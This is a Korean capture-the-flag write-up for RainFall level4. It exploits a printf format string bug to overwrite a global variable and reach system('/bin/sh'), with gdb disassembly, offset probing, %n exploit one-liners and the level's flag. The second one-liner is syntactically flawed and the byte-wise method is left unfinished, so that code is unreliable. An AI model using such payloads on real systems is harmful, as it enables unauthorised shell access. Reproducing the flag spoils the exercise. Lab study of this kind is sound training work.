level4

태그	Assembly FormatStringAttack Shell
상태	완료

풀이과정
- 겪었던 어려움
- 풀이과정
- 풀이과정(2)
- 정답

출처

풀이과정

겪었던 어려움

fsb를 이용해서 특정 주소값이 가리키는 값을 조작하는건 배웠으나,,출력문자수 만큼만 지정 가능한데,

level4는 0x1025544라는 값을 만들어야했다. ...

풀이과정

gdb를 통해서 확인해본 결과 main과 p, n 함수가 다음과 같이 있었다.

```
(gdb) disas p
Dump of assembler code for function p:
   0x08048444 <+0>: push   %ebp
   0x08048445 <+1>: mov    %esp,%ebp
   0x08048447 <+3>: sub    $0x18,%esp
   0x0804844a <+6>: mov    0x8(%ebp),%eax
   0x0804844d <+9>: mov    %eax,(%esp)
   0x08048450 <+12>:    call   0x8048340 <printf@plt>
   0x08048455 <+17>:    leave
   0x08048456 <+18>:    ret
End of assembler dump.
```

```
(gdb) disas n
Dump of assembler code for function n:
   0x08048457 <+0>: push   %ebp
   0x08048458 <+1>: mov    %esp,%ebp
   0x0804845a <+3>: sub    $0x218,%esp
   0x08048460 <+9>: mov    0x8049804,%eax
   0x08048465 <+14>:    mov    %eax,0x8(%esp)
   0x08048469 <+18>:    movl   $0x200,0x4(%esp)
```

```
   0x08048471 <+26>:    lea    -0x208(%ebp),%eax
   0x08048477 <+32>:    mov    %eax,(%esp)
   0x0804847a <+35>:    call   0x8048350 <fgets@plt>
   0x0804847f <+40>:    lea    -0x208(%ebp),%eax
   0x08048485 <+46>:    mov    %eax,(%esp)
   0x08048488 <+49>:    call   0x8048444 <p>
   0x0804848d <+54>:    mov    0x8049810,%eax
   0x08048492 <+59>:    cmp    $0x1025544,%eax
   0x08048497 <+64>:    jne    0x80484a5 <n+78>
   0x08048499 <+66>:    movl   $0x8048590,(%esp)
   0x080484a0 <+73>:    call   0x8048360 <system@plt>
   0x080484a5 <+78>:    leave
   0x080484a6 <+79>:    ret
End of assembler dump.
```

```
(gdb) disas main
Dump of assembler code for function main:
   0x080484a7 <+0>: push   %ebp
   0x080484a8 <+1>: mov    %esp,%ebp
   0x080484aa <+3>: and    $0xfffffff0,%esp
   0x080484ad <+6>: call   0x8048457 <n>
   0x080484b2 <+11>:    leave
   0x080484b3 <+12>:    ret
End of assembler dump.
```

level3과 유사해서 변수도 확인해보니 `m` 이라는 동일한 명의 변수가 존재함을 확인했다.

```
(gdb) info variables
All defined variables:

Non-debugging symbols:
0x08048588  _fp_hw
0x0804858c  _IO_stdin_used
0x080486f8  __FRAME_END__
0x080496fc  __CTOR_LIST__
0x080496fc  __init_array_end
0x080496fc  __init_array_start
0x08049700  __CTOR_END__
0x08049704  __DTOR_LIST__
0x08049708  __DTOR_END__
0x0804970c  __JCR_END__
0x0804970c  __JCR_LIST__
0x08049710  _DYNAMIC
0x080497dc  _GLOBAL_OFFSET_TABLE_
```

```
0x080497fc  __data_start
0x080497fc  data_start
0x08049800  __dso_handle
0x08049804  stdin@@GLIBC_2.0
0x08049808  completed.6159
0x0804980c  dtor_idx.6161
0x08049810  m
```

위 main, p, n을 디컴파일 시키니 아래와 같은 구조임을 알 수 있었다.

```
void p(char *str) {
    printf("%s", str);
}

void n() {
    char buffer[520];

    fgets(buffer, 0x200, stdin);
    p(buffer);

    if (*(int *)(0x8049810) == 0x1025544) {
        system("/bin/sh");
    }
}

int main() {
    n();
    return 0;
}
```

이를 통해 사실상 level3과 같은 문제임을 알 수 있었고 level4 실행파일을 실행시켜 언제부터 앞쪽 문자열에 영향을 받는지 확인해보니 12번째 부터임을 알 수 있었다.

```
level4@RainFall:~$ ./level4
AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x
AAAA b7ff26b0 bffff754 b7fd0ff4
0 0 bffff718 804848d bffff510 200 b7fd1ac0 b7ff37d0
41414141 20782520

level4@RainFall:~$ ./level4
BBBB %x %x %x %x %x %x %x %x %x %x %x %x %x
BBBB b7ff26b0 bffff754 b7fd0ff4
0 0 bffff718 804848d bffff510 200 b7fd1ac0 b7ff37d0
42424242 20782520
```

여기서 주어진 1025544를 10진수 값으로 바꾸면 16930116인데 주어진 변수 4바이트를 빼서 16930112만큼 더미값을 넣어주면 된다고 판단했다.

`(python -c 'print "\x10\x98\x04\x08" + "A" * 16930112 + "%12$n"' && cat) | ./level4` 이렇게 치고 기다리면서 "EZ"를 육성으로 뱉는 순간 아래 에러가 떴다..

`File "<string>", line 1, in <module> IOError: [Errno 32] Broken pipe`

역시 42는 믿을게 못된다.. `(python -c 'print "\x10\x98\x04\x08" + %16930112d + "%12$n"' && cat) | ./level4` 16930112자리의 정수를 입력하라는 `%16930112d` 를 이용하면 답을 알 수 있다

풀이과정(2)

fsa 기법 중에서 4바이트 크기 공간에 큰 값을 넣어주는 방식으로는, 1바이트 단위로 접근해서 내가 원하는 값을 만들어주는 것이다.

우리가 접근해야 하는 주소값은 0x08049810부터 총 4바이트인데, 아래와 같이 1바이트 단위로 주소를 접근해서 값을 채워주면된다.

```
0x08049810 - 0x44
0x08049811 - 0x55
0x08049812 - 0x02
0x08049813 - 0x01
```

%n은 지금까지 출력된 문자수를 저장해주기 때문에 0x44보다 0x55 값이 큰 것을 이용해서 쉽게 조작할 수 있지만, 이후 2바이트에 저장되어야 하는 값은 2와 1이다..

이를 해결하는 방법으로는 3번째 주소값에 그냥 0x102를 때려박아 버리면된다

리틀엔디안 방식으로 메모리에 저장되기 때문에 0x02가 먼저 저장되고 그 다음 0x01이 다음 주소에 매핑된

```
0x08049812 - 0x102
```

정답

`0f99ba5e9c446258a69b290407a6c60859e9c2d25b26575cafc9ae6d75e9456a`

출처